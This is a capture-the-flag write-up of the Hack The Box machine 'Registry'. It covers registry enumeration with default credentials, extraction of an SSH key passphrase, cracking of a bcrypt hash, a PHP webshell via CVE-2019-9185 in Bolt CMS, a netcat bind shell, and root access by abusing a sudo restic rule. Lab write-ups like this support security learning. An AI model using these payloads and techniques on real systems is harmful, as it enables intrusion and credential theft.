Logo Creator OS Difficulty Points Graph
Control Logo thek Linux Hard 40 graph

Reconnaissance

Registry is a Ubuntu host running a private docker registry server guarded by weak credentials. With some enumeration of the service, I was able to locate a certificate that allowed me to pull the docker image and examine the filesystem, which gave me an encrypted SSH key and its password. With the user account, I dug through the SQLite database for the web server and found admin credentials. Using a known exploit for the web server, I got RCE and gained a reverse shell as www-data, then escalated privileges to root by abusing a sudo permission for a backup tool called restic.

Initial Scan

I started with my standard NMAP scan, followed by a script scan and a full port scan. The enumeration of the SSL certificate by NMAP gives me the common name, which I can add to my /etc/hosts for the IP.

Command: nmap -sC -sV -oN nmap/def-script -p 22,80,443 10.10.10.159

PORT    STATE SERVICE  VERSION
22/tcp  open  ssh      OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 72:d4:8d:da:ff:9b:94:2a:ee:55:0c:04:30:71:88:93 (RSA)
|   256 c7:40:d0:0e:e4:97:4a:4f:f9:fb:b2:0b:33:99:48:6d (ECDSA)
|_  256 78:34:80:14:a1:3d:56:12:b4:0a:98:1f:e6:b4:e8:93 (ED25519)
80/tcp  open  http     nginx 1.14.0 (Ubuntu)
|_http-server-header: nginx/1.14.0 (Ubuntu)
|_http-title: Welcome to nginx!
443/tcp open  ssl/http nginx 1.14.0 (Ubuntu)
|_http-server-header: nginx/1.14.0 (Ubuntu)
|_http-title: Welcome to nginx!
| ssl-cert: Subject: commonName=docker.registry.htb
| Not valid before: 2019-05-06T21:14:35
|_Not valid after:  2029-05-03T21:14:35
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Web Enumeration

Going to the website on either HTTP or HTTPS gives the default nginx welcome page. I can view the SSL certificate to verify the domain I found from NMAP, but after running gobuster on both versions I don’t see a difference in the content served. The results from gobuster give me two paths to explore: /install and /bolt.

nginx

Certificate

Visting http://10.10.10.159/install gives me what looks like binary data, so I’ll wget the page and inspect it with file.

root@gingerbreadHouse:~/registry# file install 
install: gzip compressed data, last modified: Mon Jul 29 23:38:20 2019, from Unix, original size modulo 2^32 167772200 gzip compressed data, reserved method, has CRC, was "", from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 167772200

I can try to unzip the file using tar, but the data doesn’t extract correctly so I’ll try using zcat instead:

root@gingerbreadHouse:~/registry# tar xvf install

gzip: stdin: unexpected end of file
ca.crt
readme.md
tar: Child returned status 1
tar: Error is not recoverable: exiting now
root@gingerbreadHouse:~/registry# zcat install
ca.crt0000775000004100000410000000210613464123607012215 0ustar  www-datawww-data-----BEGIN CERTIFICATE-----
MIIC/DCCAeSgAwIBAgIJAIFtFmFVTwEtMA0GCSqGSIb3DQEBCwUAMBMxETAPBgNV
BAMMCFJlZ2lzdHJ5MB4XDTE5MDUwNjIxMTQzNVoXDTI5MDUwMzIxMTQzNVowEzER
MA8GA1UEAwwIUmVnaXN0cnkwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIB
AQCw9BmNspBdfyc4Mt+teUfAVhepjje0/JE0db9Iqmk1DpjjWfrACum1onvabI/5
T5ryXgWb9kS8C6gzslFfPhr7tTmpCilaLPAJzHTDhK+HQCMoAhDzKXikE2dSpsJ5
zZKaJbmtS6f3qLjjJzMPqyMdt/i4kn2rp0ZPd+58pIk8Ez8C8pB1tO7j3+QAe9wc
r6vx1PYvwOYW7eg7TEfQmmQt/orFs7o6uZ1MrnbEKbZ6+bsPXLDt46EvHmBDdUn1
zGTzI3Y2UMpO7RXEN06s6tH4ufpaxlppgOnR2hSvwSXrWyVh2DVG1ZZu+lLt4eHI
qFJvJr5k/xd0N+B+v2HrCOhfAgMBAAGjUzBRMB0GA1UdDgQWBBTpKeRSEzvTkuWX
8/wn9z3DPYAQ9zAfBgNVHSMEGDAWgBTpKeRSEzvTkuWX8/wn9z3DPYAQ9zAPBgNV
HRMBAf8EBTADAQH/MA0GCSqGSIb3DQEBCwUAA4IBAQABLgN9x0QNM+hgJIHvTEN3
LAoh4Dm2X5qYe/ZntCKW+ppBrXLmkOm16kjJx6wMIvUNOKqw2H5VsHpTjBSZfnEJ
UmuPHWhvCFzhGZJjKE+An1V4oAiBeQeEkE4I8nKJsfKJ0iFOzjZObBtY2xGkMz6N
7JVeEp9vdmuj7/PMkctD62mxkMAwnLiJejtba2+9xFKMOe/asRAjfQeLPsLNMdrr
CUxTiXEECxFPGnbzHdbtHaHqCirEB7wt+Zhh3wYFVcN83b7n7jzKy34DNkQdIxt9
QMPjq1S5SqXJqzop4OnthgWlwggSe/6z8ZTuDjdNIpx0tF77arh2rUOIXKIerx5B
-----END CERTIFICATE-----
readme.md0000775000004100000410000000020113472260460012667 0ustar  www-datawww-data# Private Docker Registry

- https://docs.docker.com/registry/deploying/
- https://docs.docker.com/engine/security/certificates/

gzip: install: unexpected end of file

This gives me two usefull pieces of information. I get a full certificate called ca.crt, and based on the comments and the name of the box it seems like it might go to a private docker registry.

Bolt

When I go to http://10.10.10.159/bolt I get the default page for a new installation of Bolt CMS. It doesn’t seem to be configured at all; there’s nothing in any of the pages and it doesn’t even seem like there’s anything in the database.

nginx

I can check out the source code in the GitHub repo here, and based on this I can find the login page at http://10.10.10.159/bolt/bolt, but I don’t have any credentials and I can’t guess any. I’ll save this page for later in case I find some.

nginx

User - Docker Registry

I did some research on docker registries since I’ve never used them before, and saw that it essentially serves as a way for people to host images that they’ve created. There’s an official registry, but you can also create your own private one and protect it with passwords and certificates (hint hint). One of the standard paths is for the version of the API, so I tried going to https://docker.registry.htb/v1 and https://docker.registry.htb/v2. The second gave me a hit and asked for HTTP authentication.

nginx

I can guess the username and password easily as admin:admin, and it successfully authenticates. From here, I can follow the API to enumerate the registry.

root@gingerbreadHouse-vm:~# curl -k --user "admin:admin" https://docker.registry.htb/v2/_catalog 
{"repositories":["bolt-image"]}
root@gingerbreadHouse-vm:~# curl -k --user "admin:admin" https://docker.registry.htb/v2/bolt-image/tags/list
{"name":"bolt-image","tags":["latest"]}
root@gingerbreadHouse-vm:~# curl -k --user "admin:admin" https://docker.registry.htb/v2/bolt-image/manifests/latest
{
   "schemaVersion": 1,
   "name": "bolt-image",
   "tag": "latest",
   "architecture": "amd64",
   "fsLayers": [
      {
         "blobSum": "sha256:302bfcb3f10c386a25a58913917257bd2fe772127e36645192fa35e4c6b3c66b"
      },
      {
         "blobSum": "sha256:3f12770883a63c833eab7652242d55a95aea6e2ecd09e21c29d7d7b354f3d4ee"
      },
      {
         "blobSum": "sha256:02666a14e1b55276ecb9812747cb1a95b78056f1d202b087d71096ca0b58c98c"
      },
      {
         "blobSum": "sha256:c71b0b975ab8204bb66f2b659fa3d568f2d164a620159fc9f9f185d958c352a7"
      },
      {
         "blobSum": "sha256:2931a8b44e495489fdbe2bccd7232e99b182034206067a364553841a1f06f791"
      },
      {
         "blobSum": "sha256:a3ed95caeb02ffe68cdd9fd84406680ae93d633cb16422d00e8a7c22955b46d4"
      },
      {
         "blobSum": "sha256:f5029279ec1223b70f2cbb2682ab360e1837a2ea59a8d7ff64b38e9eab5fb8c0"
      },
      {
         "blobSum": "sha256:d9af21273955749bb8250c7a883fcce21647b54f5a685d237bc6b920a2ebad1a"
      },
      {
         "blobSum": "sha256:8882c27f669ef315fc231f272965cd5ee8507c0f376855d6f9c012aae0224797"
      },
      {
         "blobSum": "sha256:f476d66f540886e2bb4d9c8cc8c0f8915bca7d387e536957796ea6c2f8e7dfff"
      }                                                                                                                                                                                                          
   ],                                                                                                                                                                                                            
   "history": [                                                                                                                                                                                                  
      {                                                                                                                                                                                                          
         "v1Compatibility": "{\"architecture\":\"amd64\",\"config\":{\"Hostname\":\"e2e880122289\",\"Domainname\":\"\",\"User\":\"\",\"AttachStdin\":true,\"AttachStdout\":true,\"AttachStderr\":true,\"Tty\":true,\"OpenStdin\":true,\"StdinOnce\":true,\"Env\":[\"PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin\"],\"Cmd\":[\"bash\"],\"Image\":\"docker.registry.htb/bolt-image\",\"Volumes\":null,\"WorkingDir\":\"\",\"Entrypoint\":null,\"OnBuild\":null,\"Labels\":{}},\"container\":\"e2e88012228993b25b697ee37a0aae0cb0ecef7b1536d2b8e488a6ec3f353f14\",\"container_config\":{\"Hostname\":\"e2e880122289\",\"Domainname\":\"\",\"User\":\"\",\"AttachStdin\":true,\"AttachStdout\":true,\"AttachStderr\":true,\"Tty\":true,\"OpenStdin\":true,\"StdinOnce\":true,\"Env\":[\"PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin\"],\"Cmd\":[\"bash\"],\"Image\":\"docker.registry.htb/bolt-image\",\"Volumes\":null,\"WorkingDir\":\"\",\"Entrypoint\":null,\"OnBuild\":null,\"Labels\":{}},\"created\":\"2019-05-25T15:18:56.9530238Z\",\"docker_version\":\"18.09.2\",\"id\":\"f18c41121574af38e7d88d4f5d7ea9d064beaadd500d13d33e8c419d01aa5ed5\",\"os\":\"linux\",\"parent\":\"9380d9cebb5bc76f02081749a8e795faa5b5cb638bf5301a1854048ff6f8e67e\"}"    
      },                                                                                                                                                                                                         
      {                                                                                                                                                                                                          
         "v1Compatibility": "{\"id\":\"9380d9cebb5bc76f02081749a8e795faa5b5cb638bf5301a1854048ff6f8e67e\",\"parent\":\"d931b2ca04fc8c77c7cbdce00f9a79b1954e3509af20561bbb8896916ddd1c34\",\"created\":\"2019-05-25T15:13:31.3975799Z\",\"container_config\":{\"Cmd\":[\"bash\"]}}"                                                                                                                                                
      },                                                                                                                                                                                                         
      {                                                                                                                                                                                                          
         "v1Compatibility": "{\"id\":\"d931b2ca04fc8c77c7cbdce00f9a79b1954e3509af20561bbb8896916ddd1c34\",\"parent\":\"489e49942f587534c658da9060cbfc0cdb999865368926fab28ccc7a7575283a\",\"created\":\"2019-05-25T14:57:27.6745842Z\",\"container_config\":{\"Cmd\":[\"bash\"]}}"
      },
      {
         "v1Compatibility": "{\"id\":\"489e49942f587534c658da9060cbfc0cdb999865368926fab28ccc7a7575283a\",\"parent\":\"7f0ab92fdf7dd172ef58247894413e86cfc60564919912343c9b2e91cd788ae4\",\"created\":\"2019-05-25T14:47:52.6859489Z\",\"container_config\":{\"Cmd\":[\"bash\"]}}"
      },
      {
         "v1Compatibility": "{\"id\":\"7f0ab92fdf7dd172ef58247894413e86cfc60564919912343c9b2e91cd788ae4\",\"parent\":\"5f7e711dba574b5edd0824a9628f3b91bfd20565a5630bbd70f358f0fc4ebe95\",\"created\":\"2019-05-24T22:51:14.8744838Z\",\"container_config\":{\"Cmd\":[\"/bin/bash\"]}}"
      },
      {
         "v1Compatibility": "{\"id\":\"5f7e711dba574b5edd0824a9628f3b91bfd20565a5630bbd70f358f0fc4ebe95\",\"parent\":\"f75463b468b510b7850cd69053a002a6f10126be3764b570c5f80a7e5044974c\",\"created\":\"2019-04-26T22:21:05.100534088Z\",\"container_config\":{\"Cmd\":[\"/bin/sh -c #(nop)  CMD [\\\"/bin/bash\\\"]\"]},\"throwaway\":true}"
      },
      {
         "v1Compatibility": "{\"id\":\"f75463b468b510b7850cd69053a002a6f10126be3764b570c5f80a7e5044974c\",\"parent\":\"4b937c36cc17955293cc01d8c7c050c525d22764fa781f39e51afbd17e3e5529\",\"created\":\"2019-04-26T22:21:04.936777709Z\",\"container_config\":{\"Cmd\":[\"/bin/sh -c mkdir -p /run/systemd \\u0026\\u0026 echo 'docker' \\u003e /run/systemd/container\"]}}"
      },
      {
         "v1Compatibility": "{\"id\":\"4b937c36cc17955293cc01d8c7c050c525d22764fa781f39e51afbd17e3e5529\",\"parent\":\"ab4357bfcbef1a7eaa70cfaa618a0b4188cccafa53f18c1adeaa7d77f5e57939\",\"created\":\"2019-04-26T22:21:04.220422684Z\",\"container_config\":{\"Cmd\":[\"/bin/sh -c rm -rf /var/lib/apt/lists/*\"]}}"
      },
      {
         "v1Compatibility": "{\"id\":\"ab4357bfcbef1a7eaa70cfaa618a0b4188cccafa53f18c1adeaa7d77f5e57939\",\"parent\":\"f4a833e38a779e09219325dfef9e5063c291a325cad7141bcdb4798ed68c675c\",\"created\":\"2019-04-26T22:21:03.471632173Z\",\"container_config\":{\"Cmd\":[\"/bin/sh -c set -xe \\t\\t\\u0026\\u0026 echo '#!/bin/sh' \\u003e /usr/sbin/policy-rc.d \\t\\u0026\\u0026 echo 'exit 101' \\u003e\\u003e /usr/sbin/policy-rc.d \\t\\u0026\\u0026 chmod +x /usr/sbin/policy-rc.d \\t\\t\\u0026\\u0026 dpkg-divert --local --rename --add /sbin/initctl \\t\\u0026\\u0026 cp -a /usr/sbin/policy-rc.d /sbin/initctl \\t\\u0026\\u0026 sed -i 's/^exit.*/exit 0/' /sbin/initctl \\t\\t\\u0026\\u0026 echo 'force-unsafe-io' \\u003e /etc/dpkg/dpkg.cfg.d/docker-apt-speedup \\t\\t\\u0026\\u0026 echo 'DPkg::Post-Invoke { \\\"rm -f /var/cache/apt/archives/*.deb /var/cache/apt/archives/partial/*.deb /var/cache/apt/*.bin || true\\\"; };' \\u003e /etc/apt/apt.conf.d/docker-clean \\t\\u0026\\u0026 echo 'APT::Update::Post-Invoke { \\\"rm -f /var/cache/apt/archives/*.deb /var/cache/apt/archives/partial/*.deb /var/cache/apt/*.bin || true\\\"; };' \\u003e\\u003e /etc/apt/apt.conf.d/docker-clean \\t\\u0026\\u0026 echo 'Dir::Cache::pkgcache \\\"\\\"; Dir::Cache::srcpkgcache \\\"\\\";' \\u003e\\u003e /etc/apt/apt.conf.d/docker-clean \\t\\t\\u0026\\u0026 echo 'Acquire::Languages \\\"none\\\";' \\u003e /etc/apt/apt.conf.d/docker-no-languages \\t\\t\\u0026\\u0026 echo 'Acquire::GzipIndexes \\\"true\\\"; Acquire::CompressionTypes::Order:: \\\"gz\\\";' \\u003e /etc/apt/apt.conf.d/docker-gzip-indexes \\t\\t\\u0026\\u0026 echo 'Apt::AutoRemove::SuggestsImportant \\\"false\\\";' \\u003e /etc/apt/apt.conf.d/docker-autoremove-suggests\"]}}"
      },
      {
         "v1Compatibility": "{\"id\":\"f4a833e38a779e09219325dfef9e5063c291a325cad7141bcdb4798ed68c675c\",\"created\":\"2019-04-26T22:21:02.724843678Z\",\"container_config\":{\"Cmd\":[\"/bin/sh -c #(nop) ADD file:7ce84f13f11609a50ece7823578159412e2299c812746d1d1f1ed5db0728bd37 in / \"]}}"
      }
   ],
   "signatures": [
      {
         "header": {
            "jwk": {
               "crv": "P-256",
               "kid": "SEXC:IM5B:ZAST:ZHQV:2HUC:RQ2R:UJRU:LIWG:URUT:QPOT:DE4P:XLDS",
               "kty": "EC",
               "x": "Z7f9KJrGVM7oJUWqxHvbCUh4yrQd5n8f7QPT8cj3CH0",
               "y": "XcCKegLFcS8iu1zTXXpFjMx0gxG26zSIpOBmHT1R5Ik"
            },
            "alg": "ES256"
         },
         "signature": "StKc3Tofl5V5_13rPWthojTH6nnRTv55b1OoKGuo0t4TcVdb28z8OBTNnUEddCSvngCkhY58Pf4cSE2CyE5Hyg",
         "protected": "eyJmb3JtYXRMZW5ndGgiOjY3OTIsImZvcm1hdFRhaWwiOiJDbjAiLCJ0aW1lIjoiMjAyMC0wNC0wNlQxODo1OToxOVoifQ"
      }
   ]
}

From here I can download all of the blobs and inspect what kind of files they are. I did this manually, but there’s a handy tool called docker_fetch that will grab everything for you. I used file to see that they all look like more gzip compressed data. When I extracted them I saw they looked like filesystems, and two in particular had usefull information.

One of the files had an .ssh directory with an SSH private key, but it was encrypted. Fortunately, another file had a script that gave me the password in etc/profile.d/01-ssh.sh:

#!/usr/bin/expect -f
#eval `ssh-agent -s`
spawn ssh-add /root/.ssh/id_rsa
expect "Enter passphrase for /root/.ssh/id_rsa:"
send "GkOcz221Ftb3ugog\n";
expect "Identity added: /root/.ssh/id_rsa (/root/.ssh/id_rsa)"
interactroot@kali# cat etc/profile.d/01-ssh.sh
#!/usr/bin/expect -f
#eval `ssh-agent -s`
spawn ssh-add /root/.ssh/id_rsa
expect "Enter passphrase for /root/.ssh/id_rsa:"
send "GkOcz221Ftb3ugog\n";
expect "Identity added: /root/.ssh/id_rsa (/root/.ssh/id_rsa)"
interact

The other way I could’ve gone about this was to download the entire docker image, run it as a container, and enter it on the command line to search the filesystem. In order to do this I had to follow these steps:

# Install & start docker
sudo apt install docker.io
sudo systemctl start docker

# Copy the certificate to my local storage
mkdir /etc/docker/certs.d/docker.registry.htb
cp ca.crt /etc/docker/certs.d/docker.registry.htb/

# Authenticate with admin:admin
docker login docker.registry.htb

# Pull the image
docker pull docker.registry.htb/bolt-image

# Run and enter the container
docker run -it docker.registry.htb/bolt-image /bin/bash

Finally, I can SSH into the box as bolt and get the user flag:

root@gingerbreadHouse:~/registry# ssh -i id_rsa [email protected]
Enter passphrase for key 'id_rsa': 
Welcome to Ubuntu 18.04.3 LTS (GNU/Linux 4.15.0-65-generic x86_64)

  System information as of Mon Apr  6 19:13:48 UTC 2020

  System load:  0.0                Users logged in:                0
  Usage of /:   10.8% of 61.80GB   IP address for eth0:            10.10.10.159
  Memory usage: 29%                IP address for docker0:         172.17.0.1
  Swap usage:   1%                 IP address for br-1bad9bd75d17: 172.18.0.1
  Processes:    156
Last login: Mon Apr  6 08:04:35 2020 from 10.10.14.192
bolt@bolt:~$ cat user.txt 
ytc0ytd*************************

Lateral movement to www-data

As bolt, I can now enumerate the backend of the web server. I know from the GitHub that there’s supposed to be some kind of database behind Bolt CMS, so I’ll look for that.

Sqlite 3

I find a SQLite 3 database at /var/www/html/bolt/app/database, which looks promising. I can send it back to my local machine with scp, and examine it there with sqlite3.

When I do a basic .dump on the database, I spot the hash for the admin user:

INSERT INTO bolt_users VALUES(1,'admin','$2y$10$e.ChUytg9SrL7AsboF2bX.wWKQ1LkS5Fi3/Z0yYD86.P5E9cpY7PK','[email protected]','2020-04-06 08:38:52','10.10.14.192','Admin','["files://test-shell.php"]',1,NULL,NULL,
NULL,1,NULL,'["root","everyone"]');

I can crack this with hashcat -m 3200 registry-admin.txt rockyou.txt and quickly get credentials for the Bolt CMS: admin:strawberry. Now I can go back to the login page I found with admin privileges.

CVE-2019-9185

When I log into the CMS, I see the version at the bottom left of the screen.

nginx

Doing a quick search of the version, I find a CVE for remote code execution for authenticated users. All I need to do is upload a php file with an accepted extention, rename the file to .php, and navigate to the page. Unfortunately, the rename functionality is broken, so I need to figure out a new way.

I can see the list of accepted file types in the main configuration, and more importantly I can edit that list.

nginx

Even though the comment says some types like php are never allowed, when I add that to the list I’m able to upload my webshell without any issues. I’ll use a payload from the exploit PoC: <?php system($_REQUEST['gbm']); ?>.

root@gingerbreadHouse:~/registry# curl -k https://10.10.10.159/bolt/files/gbm.php?gbm=id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

Unfortunately there’s a script that removes my files every minute or so, but I can either act fast to get a reverse shell or move my file to the root of the web server at /var/www/html to get a persistent webshell.

The server already has some useful binaries, including one called nc.traditional. Fortunately, this has the “-e” flag to execute a command, so I can use it to get a reverse shell. The second issue I had was getting the server to reach back to me. It seems like there was a firewall or configuration setting blocking outgoing connections, but I was able to start a listener on a port of my choosing and connect to that: nc.traditional -e /bin/bash -lnvp 1337.

Escalation to root

I had seen an interesting file during my enumeration of the web server: /var/www/html/backup.php.

<?php shell_exec("sudo restic backup -r rest:http://backup.registry.htb/bolt bolt");

This made me think that the www-data user could run that command as sudo, and doing a quick check confirmed it:

www-data@bolt:~$ sudo -l
Matching Defaults entries for www-data on bolt:
    env_reset, exempt_group=sudo, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User www-data may run the following commands on bolt:
    (root) NOPASSWD: /usr/bin/restic backup -r rest*

I had to do some research on restic, and saw that it gives the ability to do filesystem backups to a local or remote repository. Because the sudo command doesn’t specify a destination, this means I can back up files to whatever location I want. The command does specify it must be a rest repository, and I have the ability to set up a local server using this documentation.

Note: I could have set up my server to listen externally using the “–listen” flag and specifying 0.0.0.0, but I didn’t see that until after the box was retired. That path would also have required extra steps like SSH tunneling to get past the outbound restrictions.

I copied over the executable created by building the rest-server, and was able to create a repo in the /tmp directory on the box. I could then back up the entire root directory to that repository, and download the snapshot to my local computer to examine the contents. The entire process looked like this:

# transfer restic-server binary to server
root@gingerbreadHouse:~/registry# scp -i id_rsa rest-server/rest-server [email protected]:/tmp/gbm/rest-server

# create repo on server
bolt@bolt:/tmp/gbm$ restic init --repo /tmp/restic/

# backup root dir to repo
www-data@bolt:~$ sudo restic backup -r rest:http://127.0.0.1:8000/ /root/

# get snapshots
root@gingerbreadHouse:~/registry# restic -r rest:http://10.10.10.159:8000/ snapshots

# restore root dir to local host
root@gingerbreadHouse:~/registry# restic -r rest:http://10.10.10.159:8000/ restore 2d4f8599 --target restore/

From here I can simply cat the root flag, or I can use the SSH private key in the root directory to SSH into the box as root.

root@gingerbreadHouse:~/registry/restore/root# cat root.txt 
ntrkzgn*************************
root@gingerbreadHouse:~/registry/restore/root# ssh -i .ssh/id_rsa [email protected]
Welcome to Ubuntu 18.04.3 LTS (GNU/Linux 4.15.0-65-generic x86_64)

  System information as of Mon Apr  6 19:49:21 UTC 2020

  System load:  0.0                Users logged in:                0
  Usage of /:   10.8% of 61.80GB   IP address for eth0:            10.10.10.159
  Memory usage: 29%                IP address for docker0:         172.17.0.1
  Swap usage:   1%                 IP address for br-1bad9bd75d17: 172.18.0.1
  Processes:    155
Last login: Mon Apr  6 19:46:41 2020 from 10.10.15.240
root@bolt:~# id
uid=0(root) gid=0(root) groups=0(root)